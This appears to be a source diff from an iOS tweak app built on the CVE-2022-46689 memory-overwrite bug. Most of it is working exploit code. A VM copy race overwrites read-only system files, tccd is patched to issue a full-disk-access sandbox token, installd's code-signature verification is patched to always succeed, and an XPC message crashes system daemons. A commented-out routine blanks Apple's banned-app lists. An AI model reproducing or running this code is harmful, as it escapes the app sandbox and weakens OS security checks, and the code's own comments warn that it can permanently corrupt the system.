code:1
userInfo:@{
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
@"not be vulnerable to CVE-2022-46689."
}]);
return;
}
munmap(targetMap, targetLength);
xpc_crasher("com.apple.tccd");
sleep(1);
call_tccd(^(NSString* _Nullable extension_token) {
overwrite_file(fd, originalData);
xpc_crasher("com.apple.tccd");
NSError* returnError = nil;
if (extension_token == nil) {
returnError =
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:2
userInfo:@{
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
}];
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
returnError = [NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:3
userInfo:@{
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
@"instead of an app sandbox token."
}];
extension_token = nil;
}
completion(extension_token, returnError);
});
}
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
if (!NSClassFromString(@"NSPresentationIntent")) {
// class introduced in iOS 15.0.
// TODO(zhuowei): maybe check the actual OS version instead?
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:6
userInfo:@{
NSLocalizedDescriptionKey :
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
@"reverted after reboot, so running this may permanently corrupt tccd."
}]);
return;
}
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
inDomains:NSUserDomainMask][0];
NSURL* sourceURL =
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
NSError* error = nil;
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
encoding:NSUTF8StringEncoding
error:&error];
if (cachedToken) {
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
if (handle > 0) {
// cached version worked
completion(nil);
return;
}
}
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
if (error) {
completion(error);
return;
}
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
if (handle <= 0) {
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:4
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
return;
}
[extension_token writeToURL:sourceURL
atomically:true
encoding:NSUTF8StringEncoding
error:&error];
completion(nil);
});
}
/// MARK - installd patch
struct installd_remove_app_limit_offsets {
uint64_t offset_objc_method_list_t_MIInstallableBundle;
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
uint64_t offset_data_const_end_padding;
// MIUninstallRecord::supportsSecureCoding
uint64_t offset_return_true;
};
struct installd_remove_app_limit_offsets gAppLimitOffsets = {
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
.offset_data_const_end_padding = 0x79c38,
.offset_return_true = 0x19860,
};
static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
size_t executable_length,
const char* needle) {
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - executable_map;
for (int i = 0; i < executable_length - 8; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + i);
if ((val & 0xfffffffful) != str_file_offset) {
continue;
}
// baseMethods
if (*(uint64_t*)(executable_map + i + 8) != 0) {
return i + 8;
}
}
return 0;
}
static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
// mov w0, #1
// ret
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - executable_map;
}
static bool patchfind_installd(void* executable_map, size_t executable_length,
struct installd_remove_app_limit_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
&dysymtab_command)) {
printf("no sections\n");
return false;
}
if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
printf("no padding\n");
return false;
}
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
"MIInstallableBundle")) == 0) {
printf("no MIInstallableBundle class_rw_t\n");
return false;
}
offsets->offset_objc_method_list_t_MIInstallableBundle =
(*(uint64_t*)(executable_map +
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
0xffffffull;
if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
0) {
printf("no return true\n");
return false;
}
return true;
}
struct objc_method {
int32_t name;
int32_t types;
int32_t imp;
};
struct objc_method_list {
uint32_t entsizeAndFlags;
uint32_t count;
struct objc_method methods[];
};
static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
uint64_t new_offset, uint64_t* out_copied_length,
void (^callback)(const char* sel,
uint64_t* inout_function_pointer)) {
struct objc_method_list* original_list = mutableBytes + old_offset;
struct objc_method_list* new_list = mutableBytes + new_offset;
*out_copied_length =
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
new_list->count = original_list->count;
for (int method_index = 0; method_index < original_list->count; method_index++) {
struct objc_method* method = &original_list->methods[method_index];
// Relative pointers
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
uint64_t types_file_offset =
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
callback(sel, &imp_file_offset);
struct objc_method* new_method = &new_list->methods[method_index];
new_method->name = (int32_t)((int64_t)name_file_offset -
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
new_method->types = (int32_t)((int64_t)types_file_offset -
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
new_method->imp = (int32_t)((int64_t)imp_file_offset -
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
}
};
static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
struct installd_remove_app_limit_offsets offsets = {};
if (!patchfind_installd(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
char* mutableBytes = data.mutableBytes;
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
uint64_t copied_size = 0;
uint64_t new_method_list_offset = current_empty_space;
patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
current_empty_space, &copied_size,
^(const char* sel, uint64_t* inout_address) {
if (strcmp(sel, "performVerificationWithError:") != 0) {
return;
}
*inout_address = offsets.offset_return_true;
});
current_empty_space += copied_size;
((struct
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
->target = new_method_list_offset;
return data;
}
bool patch_installd() {
const char* targetPath = "/usr/libexec/installd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = make_patch_installd(targetMap, targetLength);
if (!sourceData) {
NSLog(@"can't patchfind");
return false;
}
if (!overwrite_file(fd, sourceData)) {
overwrite_file(fd, originalData);
munmap(targetMap, targetLength);
NSLog(@"can't overwrite");
return false;
}
munmap(targetMap, targetLength);
xpc_crasher("com.apple.mobile.installd");
sleep(1);
// TODO(zhuowei): for now we revert it once installd starts
// so the change will only last until when this installd exits
overwrite_file(fd, originalData);
return true;
}
#endif /* MDC */

View File

@@ -1,132 +0,0 @@
#ifdef MDC
#import <Foundation/Foundation.h>
#include <string.h>
#include <mach/mach.h>
#include <dirent.h>
char* get_temp_file_path(void) {
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
}
// create a read-only test file we can target:
char* set_up_tmp_file(void) {
char* path = get_temp_file_path();
printf("path: %s\n", path);
FILE* f = fopen(path, "w");
if (!f) {
printf("opening the tmp file failed...\n");
return NULL;
}
char* buf = malloc(PAGE_SIZE*10);
memset(buf, 'A', PAGE_SIZE*10);
fwrite(buf, PAGE_SIZE*10, 1, f);
//fclose(f);
return path;
}
kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
struct xpc_w00t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
mach_port_t get_send_once(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
printf("port right extraction failed: %s\n", mach_error_string(err));
return MACH_PORT_NULL;
}
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
return so;
}
// copy-pasted from an exploit I wrote in 2019...
// still works...
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
void xpc_crasher(char* service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
printf("bad service port\n");
return;
}
// allocate the client and reply port:
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
return;
}
mach_port_t so0 = get_send_once(client_port);
mach_port_t so1 = get_send_once(client_port);
// insert a send so we maintain the ability to send to this port
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
printf("port right insertion failed: %s\n", mach_error_string(err));
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
return;
}
struct xpc_w00t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("w00t message send failed: %s\n", mach_error_string(err));
return;
} else {
printf("sent xpc w00t message\n");
}
mach_port_deallocate(mach_task_self(), so0);
mach_port_deallocate(mach_task_self(), so1);
return;
}
#endif /* MDC */

View File

@@ -1,364 +0,0 @@
#ifdef MDC
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
// modified to compile outside of XNU
#include <pthread.h>
#include <dispatch/dispatch.h>
#include <stdio.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <fcntl.h>
#include <sys/mman.h>
#include "vm_unaligned_copy_switch_race.h"
#define T_QUIET
#define T_EXPECT_MACH_SUCCESS(a, b)
#define T_EXPECT_MACH_ERROR(a, b, c)
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
#define T_ASSERT_MACH_ERROR(a, b, c)
#define T_ASSERT_POSIX_SUCCESS(a, b)
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_TRUE(a, b, ...)
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
#define T_DECL(a, b) static void a(void)
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
struct context1 {
vm_size_t obj_size;
vm_address_t e0;
mach_port_t mem_entry_ro;
mach_port_t mem_entry_rw;
dispatch_semaphore_t running_sem;
pthread_mutex_t mtx;
volatile bool done;
};
static void *
switcheroo_thread(__unused void *arg)
{
kern_return_t kr;
struct context1 *ctx;
ctx = (struct context1 *)arg;
/* tell main thread we're ready to run */
dispatch_semaphore_signal(ctx->running_sem);
while (!ctx->done) {
/* wait for main thread to be done setting things up */
pthread_mutex_lock(&ctx->mtx);
if (ctx->done) {
pthread_mutex_unlock(&ctx->mtx);
break;
}
/* switch e0 to RW mapping */
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->mem_entry_rw,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
/* wait a little bit */
usleep(100);
/* switch bakc to original RO mapping */
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
/* tell main thread we're don switching mappings */
pthread_mutex_unlock(&ctx->mtx);
usleep(100);
}
return NULL;
}
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
bool retval = false;
pthread_t th = NULL;
int ret;
kern_return_t kr;
time_t start, duration;
#if 0
mach_msg_type_number_t cow_read_size;
#endif
vm_size_t copied_size;
int loops;
vm_address_t e2, e5;
struct context1 context1, *ctx;
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
vm_address_t ro_addr, tmp_addr;
memory_object_size_t mo_size;
ctx = &context1;
ctx->obj_size = 256 * 1024;
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
if (file_mapped == MAP_FAILED) {
fprintf(stderr, "failed to map\n");
return false;
}
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
fprintf(stderr, "already the same?\n");
munmap(file_mapped, ctx->obj_size);
return true;
}
ro_addr = (vm_address_t)file_mapped;
ctx->e0 = 0;
ctx->running_sem = dispatch_semaphore_create(0);
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
ret = pthread_mutex_init(&ctx->mtx, NULL);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
ctx->done = false;
ctx->mem_entry_rw = MACH_PORT_NULL;
ctx->mem_entry_ro = MACH_PORT_NULL;
#if 0
/* allocate our attack target memory */
kr = vm_allocate(mach_task_self(),
&ro_addr,
ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
/* initialize to 'A' */
memset((char *)ro_addr, 'A', ctx->obj_size);
#endif
/* make it read-only */
kr = vm_protect(mach_task_self(),
ro_addr,
ctx->obj_size,
TRUE, /* set_maximum */
VM_PROT_READ);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
/* make sure we can't get read-write handle on that target memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->mem_entry_ro,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
/* take read-only handle on that target memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ,
&ctx->mem_entry_ro,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
/* make sure we can't map target memory as writable */
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->obj_size,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->obj_size,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
/* allocate a source buffer for the unaligned copy */
kr = vm_allocate(mach_task_self(),
&e5,
ctx->obj_size * 2,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
/* initialize to 'C' */
memset((char *)e5, 'C', ctx->obj_size * 2);
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
int overwrite_first_diff_offset = -1;
char overwrite_first_diff_value = 0;
for (int off = 0; off < overwrite_length; off++) {
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
overwrite_first_diff_offset = off;
overwrite_first_diff_value = ((char*)ro_addr)[off];
}
}
if (overwrite_first_diff_offset == -1) {
fprintf(stderr, "no diff?\n");
return false;
}
/*
* get a handle on some writable memory that will be temporarily
* switched with the read-only mapping of our target memory to try
* and trick copy_unaligned to write to our read-only target.
*/
tmp_addr = 0;
kr = vm_allocate(mach_task_self(),
&tmp_addr,
ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
/* initialize to 'D' */
memset((char *)tmp_addr, 'D', ctx->obj_size);
/* get a memory entry handle for that RW memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
tmp_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->mem_entry_rw,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
tmp_addr = 0;
pthread_mutex_lock(&ctx->mtx);
/* start racing thread */
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
/* wait for racing thread to be ready to run */
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
duration = 10; /* 10 seconds */
T_LOG("Testing for %ld seconds...", duration);
for (start = time(NULL), loops = 0;
time(NULL) < start + duration;
loops++) {
/* reserve space for our 2 contiguous allocations */
e2 = 0;
kr = vm_allocate(mach_task_self(),
&e2,
2 * ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
/* make 1st allocation in our reserved space */
kr = vm_allocate(mach_task_self(),
&e2,
ctx->obj_size,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
/* initialize to 'B' */
memset((char *)e2, 'B', ctx->obj_size);
/* map our read-only target memory right after */
ctx->e0 = e2 + ctx->obj_size;
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
/* let the racing thread go */
pthread_mutex_unlock(&ctx->mtx);
/* wait a little bit */
usleep(100);
/* trigger copy_unaligned while racing with other thread */
kr = vm_read_overwrite(mach_task_self(),
e5,
ctx->obj_size - 1 + overwrite_length,
e2 + 1,
&copied_size);
T_QUIET;
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
"vm_read_overwrite kr %d", kr);
switch (kr) {
case KERN_SUCCESS:
/* the target was RW */
kern_success++;
break;
case KERN_PROTECTION_FAILURE:
/* the target was RO */
kern_protection_failure++;
break;
default:
/* should not happen */
kern_other++;
break;
}
/* check that our read-only memory was not modified */
#if 0
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
#endif
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
/* tell racing thread to stop toggling mappings */
pthread_mutex_lock(&ctx->mtx);
/* clean up before next loop */
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
ctx->e0 = 0;
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
e2 = 0;
if (!is_still_equal) {
retval = true;
fprintf(stderr, "RO mapping was modified\n");
break;
}
}
ctx->done = true;
pthread_mutex_unlock(&ctx->mtx);
pthread_join(th, NULL);
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
#if 0
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
kern_success, kern_protection_failure, kern_other);
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
#endif
return retval;
}
#endif /* MDC */

View File

@@ -0,0 +1,123 @@
import Foundation
let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
enum PatchError: Error {
case NoFDA(msg: String)
case FailedPatchd
}
enum PatchResult {
case success, failure(PatchError)
}
func patch3AppLimit(completion: @escaping (PatchResult) -> ()) {
grant_fda { error in
if let error = error {
completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)")))
}
// DispatchQueue.global(qos: .userInitiated).async {
print("This is run on a background queue")
if !installdaemon_patch() {
completion(.failure(PatchError.FailedPatchd))
}
// }
completion(.success)
}
}
func bootTime() -> Date? {
var tv = timeval()
var tvSize = MemoryLayout<timeval>.size
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
return nil
}
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
}
enum WhitelistPatchResult {
case success, failure
}
//
// func patchWhiteList() {
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// }
//
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
// #if false
// let documentDirectory = FileManager.default.urls(
// for: .documentDirectory,
// in: .userDomainMask
// )[0].path
//
// let pathToRealTarget = originPath
// let originPath = documentDirectory + originPath
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
// try! origData.write(to: URL(fileURLWithPath: originPath))
// #endif
//
// // open and map original font
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
// if fd == -1 {
// print("Could not open target file")
// return false
// }
// defer { close(fd) }
// // check size of font
// let originalFileSize = lseek(fd, 0, SEEK_END)
// guard originalFileSize >= replacementData.count else {
// print("Original file: \(originalFileSize)")
// print("Replacement file: \(replacementData.count)")
// print("File too big!")
// return false
// }
// lseek(fd, 0, SEEK_SET)
//
// // Map the font we want to overwrite so we can mlock it
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
// if fileMap == MAP_FAILED {
// print("Failed to map")
// return false
// }
// // mlock so the file gets cached in memory
// guard mlock(fileMap, replacementData.count) == 0 else {
// print("Failed to mlock")
// return true
// }
//
// // for every 16k chunk, rewrite
// print(Date())
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
// print(String(format: "%lx", chunkOff))
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
// var overwroteOne = false
// for _ in 0..<2 {
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
// unalign_csr(
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
// )
// }
// if overwriteSucceeded {
// overwroteOne = true
// print("Successfully overwrote!")
// break
// }
// print("try again?!")
// }
// guard overwroteOne else {
// print("Failed to overwrite")
// return false
// }
// }
// print(Date())
// print("Successfully overwrote!")
// return true
// }
//
// func readFile(path: String) -> String? {
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
// }

View File

@@ -0,0 +1,6 @@
#pragma once
@import Foundation;
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
void grant_fda(void (^_Nonnull completion)(NSError* _Nullable));
bool installdaemon_patch(void);

View File

@@ -0,0 +1,617 @@
@import Darwin;
@import Foundation;
@import MachO;
#import <mach-o/fixup-chains.h>
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
// WDBFontOverwrite
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
// Please don't call this code on iOS 14 or below
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
#import "grant_fda.h"
#import "helping_tools.h"
#import "vm_unalign_csr.h"
typedef NSObject* xpc_object_t;
typedef xpc_object_t xpc_connection_t;
typedef void (^xpc_handler_t)(xpc_object_t object);
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
xpc_object_t _Nullable const* values, size_t count);
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
uint64_t flags);
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
void xpc_connection_resume(xpc_connection_t connection);
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
dispatch_queue_t replyq, xpc_handler_t handler);
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
xpc_object_t message);
xpc_object_t xpc_bool_create(bool value);
xpc_object_t xpc_string_create(const char* string);
xpc_object_t xpc_null_create(void);
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
int64_t sandbox_extension_consume(const char* token);
// MARK: - patchfind
struct fda_offsets {
uint64_t of_addr_com_apple_tcc_;
uint64_t offset_pad_space_for_rw_string;
uint64_t of_addr_s_kTCCSML;
uint64_t of_auth_got_sb_init;
uint64_t of_return_0;
bool is_arm64e;
};
static bool pchfind_sections(void* execmap,
struct segment_command_64** data_seg,
struct symtab_command** stabout,
struct dysymtab_command** dystabout) {
struct mach_header_64* executable_header = execmap;
struct load_command* load_command = execmap + sizeof(struct mach_header_64);
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
load_command_index++) {
switch (load_command->cmd) {
